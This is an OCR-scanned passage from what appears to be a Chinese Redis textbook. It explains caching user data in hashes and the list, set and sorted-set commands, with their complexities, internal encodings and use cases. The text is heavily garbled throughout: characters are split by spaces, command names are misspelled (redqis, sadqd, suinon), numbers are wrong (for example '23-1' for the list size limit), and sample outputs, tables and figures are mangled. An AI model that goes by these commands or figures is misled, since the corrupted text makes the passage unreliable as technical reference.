value 对 应 每 个 用 户 的 属性 ， 类 似 如 下 伪 代 码 : 





UserInfo getUserinfo(long id){ 
// ”用户 id 作 为 Key 后 缀 
userRedisKey = "user:info:" + idgd; 
// ”使 用 hgetall 获 取 所 有 用 户 信息 映射 关系 
userIinfoMap = redis.hgetAll (userRedisKey); 
UserIinfo userIinfo; 
if (userIinfoMap != null) { 
/ / ”将 映射 关系 转换 为 JserInfo 
userIinfo = transferMapToUserIinfo(userIinfoMap); 
} else { 
// 从 MySQL 中 获取 用 户 信 息 
userIinfo = mysql.get (id); 
// 将 UserInfo 变 为 映射 关系 使 用 hmset 保 存 到 Redis 中 
redis.hmset (userRedisKey, transferUserInfoToMap (userIinfo)); 
/ / 添加 过 期 时 间 
redqis.expire(userRedisKey，3600) ; 
} 


return userInfo; 























































































































但 是 需要 注意 的 是 哈 希 类 型 和 关系 型 数据 库 有 两 点 不 同 之 处 : 


. 哈 希 类 型 是 稀疏 的 ， 而 关系 型 数据 库 是 完全 结构 化 的 ， 例 如 哈 希 类 型 
每 个 键 可 以 有 不 同 的 field， 而 关系 型 数据 库 一 旦 添加 新 的 列 ， 所 有 行 都 要 为 
其 设置 值 (即使 为 NULL) ， 如 图 2-17 所 示 。 





关系 型 数据 库 可 以 做 复杂 的 关系 查询 ， 而 Redis 去 模拟 关系 型 复杂 查询 
开发 困难 ， 维 护 成 本 高 。 
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naine 





gender 
| ] tom sport bej]j ing NULL NULL 
ECCILL NULL 30 





male 








mike 


| id | | 
naine tomn | 


| user:| | 一 | fner favor | sport | 
| sp city beijing | 


a 


name mike | 
gender male | 
人 


图 2-17 ”关系 型 数据 库 黎 踊 性 


开发 人 员 需 要 将 两 者 的 特点 搞 清 楚 ， 才 能 在 适合 的 场景 使 用 适合 的 技 
术 。 到 目前 为 止 ， 我 们 已 经 能 够 用 三 种 方法 缓存 用 户 信息 ， 下 面 给 出 三 种 方 
案 的 实现 方法 和 优 缺 点 分 析 。 


1) 原生 字符 串 类 型 : 每 个 属性 一 个 键 。 





set user:l:name 七 om 
set user:l1l:age 23 
set user:l:city beijing 





优点 : 简单 下 观 ， 每 个 属性 部 支持 更 新 操作 。 








缺点 : 占用 过 多 的 键 ， 内 存 占用 量 较 大 ， 同 时 用 户 信息 内 聚 性 比较 差 ， 
所 以 此 种 方案 一 般 不 会 在 生产 环境 使 用 。 
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2) 序列 化 字符 串 类 型 : 将 用 户 信息 序列 化 后 用 一 个 键 保存 。 


set user:1 serialize (userInfo) 





优点 : 简化 编程 ， 如 果 合 理 的 使 用 序列 化 可 以 提 咒 内 存 的 使 用 效率 。 





缺点 : 序列 化 和 反 序 列 化 有 一 定 的 开销 ， 同 时 每 次 更 新 属性 都 需要 把 全 
部 数据 取出 进行 反 序列 化 ， 更 新 后 再 序列 化 到 Redis 中 。 


3) 哈 希 类 型 : 每 个 用 户 属 性 使 用 一 对 field-value， 但 是 只 用 一 个 键 保 
存 。 





hmset user:l1 name tomage 23 city beijing 


优点 : 简单 直观 ， 如 果 使 用 合理 可 以 减少 内 存 空间 的 使 用 。 


缺点 : 要 控制 哈 希 在 ziplist 和 hashtable 两 种 内 部 编码 的 转换 ，hashtable 会 
消耗 更 多 内 存 。 
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2.4 列表 








列表 (list) 类 型 是 用 来 存储 多 个 有 序 的 字符 串 ， 如 图 2-18 所 示 ，a、 
b、c、d、e 五 个 元 素 从 左 到 右 组 成 了 一 个 有 序 的 列表 ， 列 表 中 的 每 个 字符 串 
称 为 元 素 〈element) ， 一 个 列表 最 多 可 以 存储 23-1 个 元 素 。 在 Redis 中 ， 可 
以 对 列表 两 端 插入 〈push) 和 弹出 (pop) ， 还 可 以 获取 指定 范围 的 元 素 列 
表 、 获 取 指 定 索 引 下 标的 元 素 等 〈 如 图 2-18 和 图 2-19 所 示 ) 。 列 表 是 一 种 比 
较 灵 活 的 数据 结构 ， 它 可 以 充当 栈 和 队列 的 角色 ， 在 实际 开发 上 有 很 多 应 用 
场景 。 














value 






rpush 





图 2-18 ”列表 两 端 插 入 和 弹出 操作 


key value 


llen=5 


A/ 
user:] :message | a 人 
| lrange 纯 3 | 
lrem 1 b lindex 4 








图 2-19” 子 列表 获取 、 删 除 等 操作 
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列表 类 型 有 两 个 特点 : 第 一 、 列 表 中 的 元 素 是 有 序 的 ， 这 就 意味 着 可 以 
通过 索引 下 标 获 取 某 个 元 素 或 者 某 个 范围 内 的 元 素 列 表 ， 例 如 要 获取 图 2-19 
的 第 5 个 元 素 ， 可 以 执行 lindex user: 1: message4 (索引 从 0 算 起 ) 就 可 以 得 
到 元 素 e。 第 二 、 列 表 中 的 元 素 可 以 是 重复 的 ， 例 如 图 2-20 所 示 列 表 中 包含 


了 两 个 字符 串 a。 
















User:2:message | 
二 








图 2-20 ”列表 中 可 以 包含 重复 元 素 





这 两 个 特点 在 后 面 介 绍 集合 和 有 序 集合 后 ， 会 显得 更 加 突出 ， 因 此 在 考 
处 是 否 使 用 该 数据 结构 前 ， 首 先 需 要 错 清楚 列表 数据 结构 的 特点 。 
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2.4.1 命令 


下 面 将 按照 对 列表 的 5 种 操作 类 型 对 命令 进行 介绍 ， 命 令 如 表 2-4 所 示 。 


表 2-4 列表 的 四 种 操作 类 型 





操作 类 型 暴 作 

添加 rpush lpush linsert 
查 lrange lindex llen 
删除 lpop rpop lrem ltrim 
修改 lset 


阻塞 操作 |blpop brpop 


1. 添 加 操作 


(1) 从 右边 插入 元 素 





rpush key value [value ...] 





下 面 代码 从 右 问 左 插入 元 素 c、b、a: 





127.0.0. 1:6379> rpush listkey c ba 
(integer) 3 








lrange0-1 命 令 可 以 从 左 到 右 获 取 列 表 的 所 有 元 素 : 





127.0.0.1:6379> lrange listkey 0 -1 


1) 他 
2) mb 
3) a 
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(2) 从 左边 插入 元 素 





lpush key Value [value ...] 





使 用 方法 和 rpush 相 同 ， 只 不 过 从 左 侧 插入 ， 这 里 不 再 资 述 。 





(3) 同 共 个 元 素 前 或 者 后 插入 元 系 





linsert key beforelafter pivot value 








linsert 命 令 会 从 列表 中 找到 等 于 pivot 的 元 素 ， 在 其 前 〔before) 或 者 后 
Cafter) 插入 一 个 新 的 元 素 value， 例 如 下 面 操作 会 在 列表 的 元 素 b 前 插入 


Java: 








127.0.0.1:6379> linsert listkey before b java 
(integer) 4 





返回 结果 为 4， 代 表 当 前 命令 的 长 度 ， 当 前 列表 变 为 : 





127.0.0.1:6379> lrange listkey 0 -1 





2) "java 

3) hy 

4) WW 
2. 查 找 


(1) 获取 指定 范围 内 的 元 素 列表 





lrange key start end 














Irange 操 作 会 获取 列表 指定 索引 范围 所 有 的 元 素 。 索 引 下 标 有 两 个 特 
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点 : 第 一 ， 索 引 下 标 从 左 到 右 分 别 是 0 到 N-1， 但 是 从 右 到 左 分 别 是 -1 到 -N。 
第 二 ，lrange 中 的 end 选 项 包含 了 上 自身 ， 这 个 和 很 多 编程 语言 不 包含 end 不 太 
相同 ， 例 如 想 获取 列表 的 第 2 到 第 4 个 元 素 ， 可 以 执行 如 下 操作 : 











127.0.0.1:6379> lrange listkey 1 3 


本) "java" 
2) b 
3 六 -了 高 








(2) 获取 列表 指定 索引 下 标的 元 象 





lindex key index 











例如 当前 列表 最 后 一 个 元 素 为 a: 





127.0.0.1:6379> lindex listkey -1 
和 六 








(3) 获取 列表 长 上 度 





llen key 





例如 ， 下 面 示例 当前 列表 长 度 为 4: 





127.0.0.1:6379> llen listkey 
(integer) 4 





3. 删 除 


(1) 从 列表 左 侧 弹 出 元 系 





lpop key 
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如 下 操作 将 列表 最 左 侧 的 元 素 c 会 被 弹出 ， 弹 出 后 列表 变 为 java、b、 


127.0.0.1:6379>t lpop listkey 


和 
127.0.0.1:6379> lrange listkey 0 -1 


1) "java" 
2) b 
3) "a 


(2) 从 列表 右 侧 弹出 


rpop key 





它 的 使 用 方法 和 lpop 是 一 样 的 ， 只 不 过 从 列表 右 侧 弹出 ， 这 里 不 再 更 


述 。 


(3) 删除 指定 元 素 





lrem key Count Value 


lrem 命 令 会 从 列表 中 找到 等 于 value 的 元 素 进 行 删 除 ， 根 据 count 的 不 同 
分 为 三 种 情况 : 


count>0， 从 左 到 右 ， 删 除 最 多 count 个 元 素 。 


:count<0， 从 右 到 左 ， 有 删除 最 多 count 绝 对 值 个 元 素 。 


count=0， 删 除 所 有 。 





例如 回 列表 从 左 同 右 插 入 5 个 a， 那 么 当前 列表 变 为 “a a a a a javaba”， 
下 面 操作 将 从 列表 左边 开始 删除 4 个 为 a 的 元 素 : 
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127.0.0.1:6379> lrem listkey 4 a 
(integer) 4 
127.0.0.1:6379> lrange listkey 0 -1 





1) = 
2) "java" 
3) ee 
4) 村 总 时 








(4) 按照 索引 范围 修 勇 列表 





ltrim key start end 





例如 ， 下 面 操作 会 只 保留 列表 listkey 第 2 个 到 第 4 个 元 素 : 





127.0.0.1:6379> ltrim listkey 1 3 
OK 
127.0.0.1:6379> lrange listkey 0 -1 
Ly "java" 

2) Ey 

3) 证 沁 本 








4. 修 改 





修改 指定 索引 下 标的 元 素 : 





lset key index newValu 








下 面 操作 会 将 列表 listkey 中 的 第 3 个 元 素 设置 为 python: 





127.0.0.1:6379> lset listkey 2 python 
ORK 





127.0.0.1:6379> lrange listkey 0 -1 
让 "java" 

2) nem 

3) "python™" 





$. 阻 塞 操作 


阻 豆 式 弹 出 如 下 : 
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blpop key [key ...] timeout 
brpop key [key ...] timeout 





blpop 和 brpop 是 lpop 和 rpop 的 阻塞 版 本 ， 它 们 除了 弹出 方 回 不同， 使 用 
方法 基本 相同 ， 所 以 下 面 以 brpop 命 令 进 行 说 明 ，brpop 命 令 包含 两 个 参数 ; 





key[key..]: 多 个 列表 的 键 。 
-timeout: 阻塞 时 间 (单位 : 秒 ) 。 


1) 列表 为 空 : 如 果 timeout=3， 那 么 客户 端 要 等 到 3 秒 后 返回 ， 如 果 
timeout=0， 那 么 客户 并 一 直 阻 寨 等 下 去 : 





127.0.0.1:6379> brpop list:test 3 
(nil) 
(3.10s) 
127.0.0.1:6379> brpop list:test 0 
5 








如 果 此 期 间 添 加 了 数据 elementl1， 客 户 端 立即 返回 : 





127.0.0.1:6379> brpop list:test 3 
1) "list:test" 

2) "element1" 

(2.06s) 





2) 列表 不 为 空 : 客户 端 会 立即 返回 。 





127.0.0.1:6379> brpop list:test 0 
1) "list:test" 
2) "element1" 








在 使 用 brpop 时 ， 有 两 点 需要 注意 。 
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能 弹出 元 素 ， 客 户 端 立 即 返 回 : 








工 2 了 7 了 503550266379> Brpop list:l "listi2 List:3 0 
. .阻塞 . . 





此 时 另 一 个 客户 端 分 别 向 list， 2 和 1list，3 插 入 元 素 : 





ient-lpush> lpush list:2 element2 
integer) 1 
ient-lpush> lpush list:3 element3 
integer) 1 





























G 
( 
交 
( 





客户 端 会 立即 返回 list，2 中 的 element2， 因 为 list: 2 最 先 有 可 以 弹出 的 
元 素 : 





12720205126379> brBop list:l listi2 list:3 0 
LE et 2 
2) "element2 1" 











第 二 点 ， 如 末 多 个 客户 端 对 同一 个 键 执行 brpop， 那 么 最 和 完 执 行 brpop 命 
令 的 客户 问 可 以 获取 到 弹出 的 值 。 


客户 端 1: 





client-1I> prpop list:test 0 
并 本 





客户 端 2; 





client-2> brpop list:test 0 
oe 国 





客户 端 3: 
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client-3> brpop list:test 0 
# 阻 案 。 





此 时 另 一 个 客户 端 jpush 一 个 元 素 到 list:， test 列 表 中 : 





client-lpush> lpush list:test element 
(integer) 1 








那么 客户 症 1 最 会 获取 到 元 素 ， 因 为 客户 并 1 最 和 完 执 行 brpop， 而 客户 新 2 
和 客户 端 3 继续 阻塞 : 





client> brpop list:test 0 
1) "list:test" 
2) "element" 








有 关 列 表 的 基础 命令 已 经 介绍 完了 ， 表 2-5 是 这 些 命令 的 时 间 复 共度， 
开发 人 员 可 以 参考 此 表 选 择 适合 的 命令 。 


表 2-5 列表 命令 时 间 复 杂 度 


操作 类 型 命 令 时 间 复 杂 度 
00D, 上 是 元 素 个 数 
添加 lpush key value [value ...] O(,， 天 是 元 素 个 数 


linsert key before|lafter pivot value O(n), n 是 pivot 距离 列表 头 或 尾 的 距离 


O(stn), s 是 start 偏 移 量 , n 是 start 到 end 
lrange key start end ee 
ee 的 范围 
查找 


lindex key index O(n), n 是 索引 的 偏 移 量 

o0) 

二 

加 oo 一 
TIE 

TO 

修改 lset key index Value O(n), n 是 索引 的 偏 移 量 


阻塞 操 作 20) 
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2.4.2 ”内 部 编码 


列表 类 型 的 内 部 编码 有 两 种 。 


ziplist《〈 压 缩 列 表 ) : 当 列 表 的 元 素 个 数 小 于 listmax-ziplistentries 配 置 
《默认 5$12 个 ) ， 同 时 列表 中 每 个 元 素 的 值 都 小 于 list-max-ziplist-value 配 置 时 
《默认 64 字 节 ) ，Redis 会 选用 ziplist 来 作为 列表 的 内 部 实现 来 减少 内 存 的 使 

用 。 





linkedlist〈 链 表 ) : 当 列 表 类 型 无 法 满足 ziplist 的 条 件 时 ，Redis 会 使 用 
linkedlist 作 为 列表 的 内 部 实现 。 


下 面 的 示例 演示 了 列表 类 型 的 内 部 编码 ， 以 及 相应 的 变化 。 





1)〉 当 元 素 个 数 较 少 且 没有 大 元 素 时 ， 内 部 编码 为 ziplist: 





127.0.0.1:6379> rpush listkey el e2 e3 
(integer) 3 

127.0.0.1:6379> object encoding listkey 
"EL 





2.1) 当 元 素 个 数 超过 $12 个 ， 内 部 编码 变 为 linkedlist: 





127.0.0.1:6379> rpush listkey e4 e5 ... 忽 略 ... e512 e513 
(integer) 513 

127.0.0.1:6379> object encoding listkey 

"lJinkedlist" 








2.2) 或 者 当 某 个 元 素 超 过 64 字 节 ， 内 部 编码 也 会 变 为 linkedlist: 





(integer) 4 
127.0.0.1:6379> object encoding listkey 
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"linkedlist" 





Or 


Redis3.2 版 本 提供 了 quicklist 内 部 编码 ， 简 单 地 说 它 是 以 一 个 ziplist 为 节 
点 的 linkedlist， 它 结合 了 ziplist 和 1linkedlist 两 者 的 优势 ， 为 列表 类 型 提供 了 一 
种 更 为 优秀 的 内 部 编码 实现 ， 它 的 设计 原理 可 以 参考 Redis 的 另 一 个 作者 
Matt Stancliff 的 博客 : https://matt.sh/redis-quicklist。 


有 关 列 表 类 型 的 内 存 优化 技巧 将 在 8.3 节 详细 介绍 。 
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2.4.3 ”使 用 场景 


1. 消 恩 队 列 


如 图 2-21 所 示 ，Redis 的 ljpush+brpop 命 令 组 合 即 可 实现 阻塞 队列 ， 生 产 
者 客户 端 使 用 lrpush 从 列表 左 侧 插入 元 素 ， 多 个 消费 者 客户 端 使 用 brpop 命 令 
阻塞 式 的 “ 抢 ?” 列 表 尾 部 的 元 素 ， 多 个 客户 端 保 证 了 消费 的 负载 均衡 和 高 可 用 
性 。 





2. 文 章 列 表 





每 个 用 户 有 属于 目 己 的 文章 列表 ， 现 需要 分 页 展示 文章 列表 。 此 时 可 以 
考虑 使 用 列表 ， 因 为 列表 不 但 是 有 序 的 ， 同 时 文 持 按照 索引 范围 获取 元 素 。 











图 2-21 Redis 消 息 队 列 模 型 





1) 每 篇 文章 使 用 哈 希 结构 存储 ， 例 如 每 篇 文章 有 3 个 属性 title、 


timestamp、 content: 





hmset acticle:1 title xx timestamp 1476536196 content xxxx 
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hmset acticle:k title yy timestamp 1476512536 content yyyy 





2) 向 用 户 文 章 列表 添加 文章 ，user: {id}: articles 作 为 用 户 文章 列表 的 
键 : 





lpush user:l:acticles article:1 article3 











lpush user:k:acticles article:5 





3) 分 页 获取 用 户 文章 列表 ， 例 如 下 面 伪 代码 获取 用 户 id=1 的 前 10 篇 文 


攻 





articles = lrange user:l:articles 0 9 
for article in {articles} 
hgetall {article} 














使 用 列表 类 型 保存 和 获取 文章 列表 会 存在 两 个 问题 。 第 一 ， 如 果 每 次 分 
页 获取 的 文章 个 数 较 多 ， 需 要 执行 多 次 hgetall 操 作 ， 此 时 可 以 考虑 使 用 
Pipeline《〈 第 3 章 会 介绍 ) 批量 获取 ， 或 者 考虑 将 文章 数据 序列 化 为 字符 串 类 
型 ， 使 用 mget 批 量 获 取 。 第 二 ， 分 页 获取 文章 列表 时 ，lrange 命 令 在 列表 两 
端 性 能 较 好 ， 但 是 如 果 列 表 较 大 ， 获 取 列 表 中 间 范 围 的 元 素性 能 会 变 差 ， 此 
时 可 以 考虑 将 列表 做 二 级 拆 分 ， 或 者 使 用 Redis3.2 的 quicklist 内 部 编码 实现 ， 
它 结合 ziplist 和 linkedlist 的 特点 ， 获 取 列 表 中 间 范 围 的 元 素 时 也 可 以 高 效 完 
成 。 














Oana 





实际 上 列表 的 使 用 场景 很 多 ， 在 选择 时 可 以 参考 以 下 口 决 : 
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:lpushtlpop=Stack( 栈 ) 
:lpushtrpop=Queue (队列 》 
`]psht+ltrim=Capped Collection (有 限 集 合 ) 


']push+tbrpop=Message Queue 〈 消 息 队 列 ) 
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2.5 集合 





集合 〈set) 类 型 也 是 用 来 保存 多 个 的 字符 串 元 素 ， 但 和 列表 类 型 不 一 
样 的 是 ， 集 合 中 不 允许 有 重复 元 素 ， 并 且 集 合 中 的 元 素 是 无 序 的， 不 能 通过 
索引 下 标 获取 元 素 。 如 图 2-22 所 示 ， 和 集合 user: 1: follow 包 含 
着 "it'、"music"、"his"、"sports" 四 个 元 素 ， 一 个 集合 最 多 可 以 存储 232-1 个 元 
素 。Redis 除 了 文 持 集合 内 的 增删 改 查 ， 同 时 还 支持 多 个 集合 取 交 集 、 并 
集 、 差 集 ， 合 理 地 使 用 好 集合 能 在 实际 开发 中 解决 很 多 实际 问题 








ke y Va I Le 






| Tt | | music | 
| his | | :pere | 


图 2-22 ”集合 类 型 





| user: | :follow | ne 
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2.5.1 命令 


下 面 将 按照 集合 内 和 集合 间 两 个 维度 对 集合 的 常用 命令 进行 介绍 。 
1. 集 合 内 操作 


(1) 添加 元 素 





sadd key element [element ...] 








返回 结果 为 添加 成 功 的 元 素 个 数 ， 例 如 : 





127.0.0.1:6379> exists myset 
(integer) 0 

127.0.0.1:6379> sadd myset a bc 
(integer) 3 

127.0.0.1:6379> sadd myset a b 
(integer) 0 





(2) 删除 元 素 











返回 结果 为 成 功 删 除 元 素 个 数 ， 例 如 : 





127.0.0.1:6379> srem myset a b 
(integer) 2 

127.0.0.1:6379> srem myset hello 
(integer) 0 





(3) 计算 元 素 个 数 





scard key 
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scard 的 时 间 复 杂 度 为 O0 (1) ， 它 不 会 过 历 集 合 所 有 元 素 ， 而 是 直接 用 
Redis 内 部 的 变量 ， 例 如 : 





127.0.0.1:6379> scard myset 
(integer) 1 





(4) 判断 元 素 是 侍 在 集合 中 





sismember key element 








如 果 给 定 元 素 element 在 集合 内 返回 1， 反 之 返回 0， 例 如 : 





127.0.0.1:6379> sismember myset c 
(integer) 1 





(5) 随机 从 集合 返回 指定 个 数 元 系 





srandmember key [count] 





[count] 是 可 选 参数 ， 如 果 不 写 默认 为 1， 例 如 : 





127.0.0.1:6379> srandmember myset 2 
中 = 

2) We 

127.0.0.1:6379> srandmember myset 
和 





(6) 从 集合 随机 弹出 元 素 





spop key 





spop 操 作 可 以 从 集合 中 随机 弹出 一 个 元 素 ， 例 如 下 面 代码 是 一 次 spop 
后 ， 集 合 元 素 变 为 "rdb a": 
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| 
127.0.0.1:6379> spop myset 
We 
127.0.0.1:6379> smembers myset 


1) vd" 
2) wp" 
3) 人 





需要 注意 的 是 Redis 从 3.2 版 本 开始 ，spop 也 文 持 [count] 参 数 。 





srandmember 和 spop 都 是 随机 从 集合 选 出 元 素 ， 两 者 不 同 的 是 spop 命 令 
执行 后 ， 元 素 会 从 集合 中 删除 ， 而 srandqmember 不 会 。 





(7) 获取 所 有 元 素 





smembers key 





下 面 代 码 获 取 和 集合 myset 所 有 元 素 ， 并 且 返 回 结果 是 无 序 的 : 





27.0.0.1:6379> smembers myset 
) Ws 

) 1 b 1 

) 


1 
1 
2 
3 四 各 于 








smembers 和 1lrange、hsetall 都 属于 比较 重 的 命令 ， 如 果 元 系 过 多 存在 阻 
塞 Redis 的 可 能 性 ， 这 时 候 可 以 使 用 sscan 来 完成 ， 有 关 sscan 命 令 2.7 节 会 介 


Dd 
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2. 集 合 间 操 作 


现在 有 两 个 集合 ， 它 们 分 别 是 user: 1: follow 和 user: 2: follow: 





127.0.0.1:6379> sadd user:1:follow it music his sports 
(integer) 4 
127.0.0.1:6379> sadqd user:2:follow it news ent sports 
(integer) 4 
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(1) 求 多 个 集合 的 交集 





sinter key [key ...] 





例如 下 面 代码 是 求 user: 1: follow 和 user: 2: follow 两 个 集合 的 交集 ， 


返回 结果 是 sports、it: 





127.0.0.1:6379> sinter user:1:follow user:2:follow 
1) "sports" 
2) A be eb 





(2) 求 多 个 集合 的 并 集 





suinon key [key ...] 





例如 下 面 代码 是 求 user: 1: follow 和 user: 2: follow 两 个 集合 的 并 集 ， 


返回 结果 是 sports、it、his、news、music、ent: 





127.0.0.1:6379> sunion user:1:follow user:2:follow 
1) "sports" 


2) A 

3 "nis" 
4) "news" 
S57) VmUSLeY 
6) nent" 





(3) 求 多 个 集合 的 盈 集 





sdiff key [key ...] 





例如 下 面 代 人 码 是 求 user: 1: follow 和 user: 2: follow 两 个 集合 的 差 集 ， 
返回 结果 是 music 和 his: 





127.0.0.1:6379> sdiff user:1:follow user:2:follow 
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前 面 三 个 命令 如 图 2-23 所 示 。 







sinter 














Oe 








user:follow 


sdiff 


music 

















SU1OIl 









user:2:follow 





INUSIC news 





图 2-23 ”集合 求 交 集 、 并 集 、 差 集 


(4) 将 交集 、 并 集 、 差 集 的 结果 保存 








sinterstore destination key [key ...] 
suionstore destination key [key ...] 
sdiffstore destination key [key ...] 
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集合 间 的 运算 在 元 素 较 多 的 情况 下 会 比较 耗 时 ， 所 以 Redis 提 供 了 上 面 
三 个 命令 〈 原 命令 +store) 将 集合 间 交 集 、 并 集 、 差 集 的 结果 保存 在 
destination key 中 ， 例 如 下 面 操作 将 user: 1: follow 和 user: 2: follow 两 个 集 
合 的 交集 结果 保存 在 user: 1 2: inter 中 ，user: 1 2: inter 本 身 也 是 集合 类 


型 : 








127.0.0.1:6379> sinterstore USer:1 2:inter user:l1l:follow user:2:follow 
(integer) 2 

127.0.0.1:6379> type. User:l 2:inter 

set 

127.0.0.1:6379> smembers user:l1 2:inter 

Li 

2) "sports" 





至 此 有 关 集 合 的 命令 基本 已 经 介绍 完了 ， 表 2-6 给 出 集合 常用 命令 的 时 
间 复 杂 度 ， 开 发 人 员 可 以 根据 自身 需求 进行 选择 。 





表 2-6 ”集合 常用 命令 时 间 复 杂 度 


命 令 时 间 复 杂 度 
sadd key element [element ...] O( 月 , 大 是 元 素 个 数 
srem key element [element ...] O( 有 ,上 是 元 素 个 数 
scard key 0O(1) 
sismember key element 0O(1) 
srandmember key [count] O(coun?t) 
spop key 0O(1) 
smembers key O(n),，n 是 元 素 总 数 
sinter key [key ...] 或 者 sinterstore O(m* 有 ,是 多 个 集合 中 元 素 最 少 的 个 数 ，m 是 键 个 数 
5uinon key [key ...] 或 者 suionstore O( 有 ,是 多 个 集合 元 素 个 数 和 
sdiff key [key ...] 或 者 sdiffstore O( 旭 , 大 是 多 个 集合 元 素 个 数 和 
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2.$.2 ”内 部 编码 


集合 类 型 的 内 部 编码 有 两 种 : 


“intset〈( 整数 集合 ) : 当 和 集合 中 的 元 素 都 是 整数 日 元 素 个 数 小 于 set-max- 
intset-entries 配 置 (默认 512 个 ) 时 ，Redis 会 选用 intset 来 作为 集合 的 内 部 实 
现 ， 从 而 减少 内 存 的 使 用 。 


hashtable 〈《 哈 希 表 ) : 当 集 合 类 型 无 法 满足 intset 的 条 件 时 ，Redis 会 使 
用 hashtable 作 为 集合 的 内 部 实现 。 


下 面 用 示例 来 说 明 : 


1) 当 元 系 个 数 较 少 且 都 为 整数 时 ， 内 部 编码 为 intset: 





127.0.0.1:6379> Sadd setkey 1 2 3 4 
(integer) 4 

127.0.0.1:6379> object encoding setkey 
"jntset" 





2.1) 当 元 素 个 数 超过 512 个 ， 内 部 编码 变 为 hashtable: 





127.0.0.1:6379> sadd setkey 1 23456... 512 513 
(integer) 509 

127.0.0.1:6379> scard setkey 

(integer) 513 

127.0.0.1:6379> object encoding listkey 

"hashtable" 








2.2) 当 茶 个 元 素 不 为 整数 时 ， 内 部 编码 也 会 变 为 hashtable: 





127.0.0.1:6379> Sadd setkey a 
(integer) 1 

127.0.0.1:6379> object encoding setkey 
"hashtable" 
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有 关 集 合 类 型 的 内 存 优化 技巧 将 在 8.3 市 中 详细 介绍 。 
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2.$.3 ”使 用 场景 


集合 类 型 比较 典型 的 使 用 场景 是 标签 (tag〉。 例 如 一 个 用 户 可 能 对 娱 
乐 、 体 育 比较 感 兴趣 ， 为 一 个 用 户 可 能 对 历史 、 新 闻 比 较 感 兴趣 ， 这 些 兴 趣 
点 就 是 标签 。 有 了 这 些 数据 就 可 以 得 到 喜欢 同一 个 标签 的 人 ， 以 及 用 户 的 共 
同 喜好 的 标签 ， 这 些 数据 对 于 用 户 体验 以 及 增强 用 户 秋 度 比较 重要 。 例 如 一 
个 电子 商务 的 网 站 会 对 不 同 标签 的 用 户 做 不 同类 型 的 推荐 ， 比 如 对 数码 产品 
比较 感 兴趣 的 人 ， 在 各 个 页 面 或 者 通过 邮件 的 形式 给 他 们 推荐 最 新 的 数码 产 
品 ， 通 第 会 为 网 站 市 来 更 多 的 利益 。 








下 面 使 用 集合 类 型 实现 标签 功能 的 知 干 功能 。 


(1) 给 用 户 添 加 标签 





sadqd user:l:tags tagl tag2 tag5 
sadqd user:2:tags tag2 tag3 tag5 


sadd user:k:tags tagl tag2 tag4 





(2) 给 标签 添加 用 户 





sadqd tagl:users user:l1 user:3 
sadqd tag2:users user:1 user:2 user:3 


sadqd tagk:users user:1 user:2 





Oj 


用 户 和 标签 的 关系 维护 应 该 在 一 个 事务 内 执行 ， 防 止 部 分 命令 失败 造成 
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的 数据 不 一 致 ， 有 关 如 何 将 两 个 命令 放 在 一 个 事务 ， 第 3 章 会 介绍 事务 以 及 
Lua 的 使 用 方法 。 


(3) 删除 用 户 下 的 标签 





srem user:l:tags tagl tag5 





(4) 删除 标签 下 的 用 户 





srem tagl:users user:l1 
srem tag5:users user:1 





(3) 和 (4) 也 是 尽量 放 在 一 个 事务 执行 。 


(5) 计算 用 户 共同 感 兴趣 的 标签 


可 以 使 用 sinter 命 令 ， 来 计算 用 户 共 同感 兴趣 的 标签 ， 如 下 代码 所 示 : 





sinter user:l1l:tags user:2:tags 





Oana 


前 面 只 是 给 出 了 使 用 Redis 集 合 类 型 实现 标签 的 基本 思路 ， 实 际 上 一 个 
标签 系统 远 比 这 个 要 复杂 得 多 ， 不 过 集合 类 型 的 应 用 场景 通常 为 以 下 几 种 : 





.Sadd=Tagsging〈 标 签 ) 
.Spop/srandmember=Randomitem (生成 随机 数 ， 比 如 抽奖 ) 


.Sadd+sinter=Social Graph (社交 需求 ) 
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2.6 有 序 集合 


有 序 集合 相对 于 哈 希 、 列 表 、 集 合 来 说 会 有 一 点 点 陌生 ， 但 既然 叫 有 序 
集合 ， 那 么 它 和 集合 必然 有 着 联系 ， 它 保留 了 集合 不 能 有 重复 成 员 的 特性 ， 
但 不 同 的 是 ， 有 序 集合 中 的 元 素 可 以 排序 。 但 是 它 和 列表 使 用 索引 下 标 作为 
排序 依据 不 同 的 是 ， 它 给 每 个 元 素 设 置 一 个 分 数 〈score) 作为 排序 的 依 
据 。 如 图 2-24 所 示 ， 该 有 序 集 合 包含 kris、mike、frank、tim、martin、tom， 
它们 的 分 数 分 别 是 1、91、200、220、250、251， 有 序 集合 提供 了 获取 指定 
分 数 和 元 素 范 围 查询 、 计 算 成 员 排 名 等 功能 ， 合 理 的 利用 有 序 集合 ， 能 帮助 
我 们 在 实际 开发 中 解决 很 多 问题 。 








key value 


SCOTeCE Ine :mbe Ee 


200 200 | one a 





user:trankine | 一 一 
CC 


时 






nartin 


Or 


有 序 集合 中 的 元 素 不 能 重复 ， 但 是 score 可 以 重复 ， 束 和 一 个 班 里 的 同 


学 学 号 不 能 重复 ， 但 是 考试 成 绩 可 以 相同 。 
表 2-7 给 出 了 列表 、 人 集合、 有 序 集合 三 者 的 异同 点 。 


表 2-7 给 出 了 列表 、 集 合 和 有 序 集合 三 者 的 异同 点 
下 


列表 AE 


集合 


有 序 集合 
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2.6.1 命令 


本 节 依 旧 按 照 集合 内 和 和 集合 外 两 个 维度 对 有 序 集合 的 命令 进行 介绍 。 
1. 集 合 内 


(1) 添加 成 员 





zadd key Score member [score member ...] 





下 面 操作 向 有 序 集合 user: ranking 添 加 用 户 tom 和 他 的 分 数 251: 





127.0.0.1:6379> zadd user:ranking 251 七 om 
(integer) 1 








返回 结果 代表 成 功 添加 成 员 的 个 数 : 





127.0.0.1:6379> zadd user:ranking 1 kris 91 mike 200 frank 220 tim 250 martin 
(integer) 5 











有 关 zadd 命 令 有 两 点 需要 注意 : 
Redis3.2 为 zadd 命 令 添加 了 nx、xx、ch、incr 四 个 选项 : 
nx: member 必 须 不 存在 ， 才 可 以 设置 成 功 ， 用 于 添加 。 
xX: member 必 须 存 在 ， 才 可 以 设置 成 功 ， 用 于 更 新 。 
ch: 返回 此 次 操作 后 ， 有 序 集合 元 素 和 分 数 发 生变 化 的 个 数 
:incr: 对 score 做 增加 ， 相 当 于 后 面 介 绍 的 zincrby。 
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.有 序 集合 相 比 集合 提供 了 排序 字段 ， 但 是 也 产生 了 代价 ，zadd 的 时 间 
复杂 度 为 O (log Cn) ) ，sadd 的 时 间 复 杂 度 为 O (1) 。 


(2) 计算 成 员 个 数 





zcard key 





例如 下 面 操 作 返 回 有 序 集合 user: ranking 的 成 员 数 为 5， 和 集合 类 型 的 
